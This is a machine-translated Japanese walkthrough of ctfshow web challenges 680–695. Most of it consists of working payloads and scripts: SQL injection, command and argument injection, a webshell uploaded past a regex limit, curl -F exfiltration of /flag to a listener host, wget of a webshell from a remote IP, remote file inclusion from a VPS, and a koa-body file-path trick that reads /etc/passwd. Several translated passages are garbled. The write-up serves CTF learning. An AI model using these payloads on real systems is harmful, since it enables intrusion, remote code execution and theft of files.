トピックがたくさんあるので、比較的簡潔に書かれているところも多いので、ご主人様にご理解いただければ幸いです。
CTFSHOWコンペティションのオリジナルタイトル
記事ディレクトリ
web680
code=phpinfo();
最初にdisable_functionを見てください。たくさんのフィルターがあります。そして、open_basedirはディレクトリ制限を行います。
r次に、現在のディレクトリ内のファイルを
code=var_dump(scandir("."));
確認します。ファイルsecret_you_never_know
が見つかった場合は、直接アクセスしてフラグを取得できます。。。。。。(大きな無言)
web681
ログインするときに、パッケージを取得します。たとえば、name = 123を渡すと、sqlステートメントが返さ
select count(*) from ctfshow_users where username = '123' or nickname = '123'
れ、一重引用符を試して、それが飲み込まれることがわかります。次に、実行と同等
のバックスラッシュを試してください。したがって、最初にユニバーサルパスワード名全体= || 1#最後のステートメントが同等であり、次にフラグが発行されます。
select count(*) from ctfshow_users where username = '123\' or nickname = '123\'
select count(*) from ctfshow_users where username = 'xxx'123\'
select count(*) from ctfshow_users where username = '||1#\' or nickname = '||1#\'
select count(*) from ctfshow_users where username = 'xxxxx‘||1#\'
web682
暗号化されていないjs
をヒントの背後に置くのは実際には非常に簡単ですが、もっと面倒です
import hashlib
string="0123456789abcdef"
for i in string:
for j in string:
for k in string:
for l in string:
aaa=i+j+k+l
out1 = hashlib.sha256(aaa).hexdigest()
if(out1=='c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400'):
print(aaa)
if(out1=='f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc'):
print(aaa)
get ctfshow{592b9d77
get ctfshow{592b9d77-9dda
get ctfshow{592b9d77-9dda-4e30
getctfshow{592b9d77-9dda-4e30-94a4
は実際にはbase32であり、base32を直接デコードするだけ
です。ctfshow{592b9d77-9dda-4e30-94a4-5e64f4499a52}
import hashlib
string="0123456789abcdef"
for i in string:
if hashlib.sha224(i).hexdigest()=='abd37534c7d9a2efb9465de931cd7055ffdb8879563ae98078d6d6d5':
print(i)
web683
16進バイパス
ペイロード:
?秀=0x76a699
web684
以前のweb147
ペイロードと同様:
?action=%5ccreate_function&arg=}system("cat /secret_you_never_know");//
web685
検査ポイント:通常の最大バックトラッキング時間を使用してバイパスします
正規表現のサービス拒否攻撃(reDOS)を防ぐために、PHPはpcreのバックトラック時間の上限を設定します。pcre.backtrack_limitバックトラック時間の
デフォルトの上限は100万です。バックトラックの数が100万を超えると、preg_matchは非1と0を返しませんが、falseを返します。このようにして、正規表現をバイパスできます。
Pythonスクリプトは次のとおりです
import requests
url="http://3c7c34aa-52d3-48d2-9dec-3679a65588c9.challenge.ctf.show/"
files={
'file':'<?php eval($_POST[1]);?>'+'b'*1000000
}
r=requests.post(url,files=files)
for i in range(0,10):
u=url+'data/{0}.php'.format(i)
r=requests.post(u,data={
'1':'system("cat /secret_you_never_know;echo yu22x");'})
if 'yu22x' in r.text:
print(r.text)
web686
テストサイト:パラメータrceなし
特定のメソッドについては、GXYCTFの禁止されたネスト人形
またはこの記事のhttps://blog.csdn.net/weixin_46330722/article/details/110840156
ペイロードを参照してください:
?code=system(pos(getallheaders()));
getallheaders()リクエストヘッダー情報の取得
pos()配列内の現在の要素(通常は最初の要素)の値を返し
、 getallheadersのX-Forwarded-Forは通常、の配列の最初であるため、このリクエストヘッダーを直接変更できます。
web687
非常に単純な質問%0aは、フィルターパイプの
ペイロードをバイパスします。
1%0acat /f*%0a
web688
タイトルの目的は明らかに、通常の状況で使用できるcurlを介してファイルの内容を取り出せるようにすることです。curl url -F file=@/flag
残りは、フィルターをバイパスする方法です。
escapeshellargとescapeshellcmdを一緒に使用すると
、次のコードなどの問題が発生します。
<?php
$a = "1' xxx";
$a = escapeshellarg($a);
$a = escapeshellcmd($a);
echo $a;
最終的な出力コンテンツは、特定のコンテンツを5つの部分に'1'\\'' xxx\'
分割でき、 2つの円記号を合わせてもエスケープの役割を果たさなくなります。つまり、一重引用符をエスケープできます。しかし、最後に余分な一重引用符があるので、別の引用符を書くことができ、その中のxxxは使用したいコンテンツです。つまり、ペイロードは次のようなものですが、ローカルテストプロセスでは見つかりますエラーURLが不正な/不正な形式を使用して報告されるか欠落していることURLはペイロードにスラッシュを追加する必要があります:'1'
\\
''
xxx
\'
-F file=@/flag
http://监听使用的ip:port' -F file=@/flag'
http://127.0.0.1:4567' -F file=@/flag'
url=http://ip:port/' -F file=@/flag '
web689
テストサイトはssrf
です。渡すパラメータファイルはhttp://127.0.0.1/で始まる必要があり、パスに含めることはできません。
渡すと
?file=http://127.0.0.1/&path=<?php phpinfo();?>
、ページに次のコンテンツが表示されます。
ファイルが渡すと、現在のURLに置き換えられますか?このページを書いた
ので、ペイロード
?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php phpinfo();?>&path=a.php
これは少し紛らわしいです。理解できない場合は、コメント領域で直接質問できます。
web690
着信パラメータには数字と文字の下線のみを含めることができますが、%0aもセミコロンと同様の効果があるのと同様に、%0a改行を使用してそれらをバイパスできます。
次の質問は、rceに到達する方法です。
文字数制限とエコーがないため、list directoryreadfileコマンドを直接実行するのは少し難しいです。次に、ファイルを作成する方法を考えますが、これは簡単ではないため、他の場所からファイルを取得することしか考えられません。より良い方法は、wgetを介してファイルをダウンロードすることです。
ただし、ipには他の記号も含まれるため、ipの小数(ツールのWebサイト)
を使用してローカルでテストし、apacheまたはnginxで直接開始されたサービスが400エコーを報告することを確認する必要があります。
そこで、Pythonを使用してポート80でローカル
python -m SimpleHTTPServer 80
にWebサービスを作成し、現在のディレクトリにindex.htmlを作成すると、wgetがファイルをダウンロードします。
ファイルの内容
<?php
file_put_contents("shell.php",'<?php eval($_POST[1]);?>');
?>
したがって、最初のステップはファイルをダウンロードすることですが、その前に、フォルダーを作成し、このフォルダーを入力してから取得します。具体的な理由は、次のステップに関連しています。
args[]=1%0a&args[]=mkdir&args[]=a%0a&args[]=cd&args[]=a%0a&args[]=wget&args[]=ip的十进制
コマンドの実行に相当します
./ 1
mkdir a
cd a
wget xxxxx
現時点では、ディレクトリにすでにindex.htmlがある
ため、phpコマンドを使用するだけで実行できますが、ファイル名(index.html)の(。)に問題があります。
次のステップは、名前を変更する方法です。
より良い方法はtarコマンドを使用することです。フォルダを圧縮すると、フォルダの内容は圧縮ファイルに完全に保存されます。
args[]=1%0a&args[]=tar&args[]=cvf&args[]=shell&args[]=a
実行するのと同じです
tar cvf shell a
フォルダaをシェルにパッケージ化します。
だから私たちはphpコードを実行することができます
args[]=1%0a&args[]=php&args[]=shell
要約する
本地创建一个index.html,内容为写一句话木马
<?php
file_put_contents("shell.php",'<?php eval($_POST[1]);?>');
?>
同一目录下起一个web服务
python -m SimpleHTTPServer 80
//下载文件
args[]=1%0a&args[]=mkdir&args[]=a%0a&args[]=cd&args[]=a%0a&args[]=wget&args[]=ip十进制
//打包文件使文件名可用
args[]=1%0a&args[]=tar&args[]=cvf&args[]=shell&args[]=a
//执行php文件
args[]=1%0a&args[]=php&args[]=shell
最后访问/shell.php就可以用刚才写的一句话木马了。
web691
注文サイズは比較的わかりにくいので、以前に書かれた記事
を参照できます。私たちの目的は非常に明確です。つまり、パスワード列の値を取得することです。
まず、順番に合計3つの列があると推測できます。次に、id、username、passwordの3つの列である可能性があります。3番目の列に移動して盲目的に注意する必要があるため、3番目の列で並べ替えます。列も3で並べ替えられます。
下の写真はわかりやすくしています。ユニオンのパスワード列が実際にテーブルに格納されているパスワード列よりも大きい場合、ユニオンクエリの結果の最初の行には、実際にテーブルに格納されているパスワード列が表示されます。
次に、この質問について、次の2つの画像を見ることができます。dの場合、adminを返し、dが実際のパスワードの最初の文字よりも大きいことを示します。したがって、実際の文字はcです。
少し時間がかかるので、スクリプトに直接行きましょう。
import requests
import string
s=".0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
url="http://350eb77e-284a-4268-bf49-058f67ca4c85.challenge.ctf.show/"
data={
'username':"or 1 union select 1,2,'{}' order by 3#",
'password':'1'
}
k="ctfshow{10a1a24d-3548-4785-9e2b-9d8a6ad37"
for i in range(1,50):
print(i)
for j in s:
data={
'username':"' or 1 union select 1,2,'{0}' order by 3#".format(k+j),
'password':'1'
}
r=requests.post(url,data=data)
#print(data['username'])
if("</code>admin" in r.text):
k=k+chr(ord(j)-1)
print(k)
break
小さなバグ、そして最後に|を}に変更して送信します。
web692
preg_replaceの2番目のパラメーターが%00(ASCIIでは0)の場合、文字列全体と一致します。
たとえば、最初の文字列が
$option='123';
実行された場合
preg_replace("$option='.*';","\x00",$a)
、返される結果は
$option='$option='123';';
、元の文字列が再び一重引用符で囲まれることです。
最初にoption=;phpinfo();//を渡したとします。
最初にconfig.phpのコンテンツが。に置き換えられ$option=';phpinfo();//'
ます。
option =%00を2回渡すと
、最終的な結果として$option='$option=';phpinfo();//''
一重引用符がエスケープされ、phpinfo()が正常に実行されます。
ペイロード
option=;eval($_POST[1]);//
option=%00
トロイの木馬の旗を一文で取ることができます。
web693
ポイントはこのコードです
$func = isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);
include($file);
関数を呼び出すことができ、それを含むファイルがありますが、この関数のパラメーターは配列です。
抽出変数をオーバーライドすることで$fileの値を変更することを考えるのは簡単です。
まず、function.phpとadmin.phpを読んだところ、当面は役に立たないことがわかりました。
?function=extract&file=php://filter/convert.base64-encode/resource=function.php
?function=extract&file=php://filter/convert.base64-encode/resource=admin.php
//function.php
<?php
function filters($data){
foreach($data as $key=>$value){
if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
die('Do not hack me!');
}
}
}
?>
//admin.php
<?php
if(empty($_SESSION['name'])){
session_start();
echo 'hello ' + $_SESSION['name'];
}else{
die('you must login with admin');
}
?>
次に、リモートファイルを含めて、それが実際に可能であることを確認します。?function=extract&file=http://www.baidu.com
簡単で、自分のvpsに1文のトロイの木馬を含めるだけです。
//shell.txt
<?php eval($_POST[1]);?>
GET:
?function=extract&file=http://101.34.94.44/shell.txt
POST:
1=system('cat /f*');
web694
全体的なスプライスアウトxxxxx/a.php/。
最終パスは
/var/www/html/a.php/です。
これにより、a.phpファイルが作成されます。
web695
koajs
https://github.com/koajs/koa-body/issues/75
json本体の形式がファイルアップロードルートにアップロードされると、パスはアップロードされたファイルの場所に解析され、対応するファイルに保存されます。
{"files":{"file":{"name":"yu22x","path":"/etc/passwd"}}}
ペイロード:
{"files":{"file":{"name":"xiaoyue","path":"flag"}}}
次に、downloadfile/idはフラグファイルをダウンロードできます。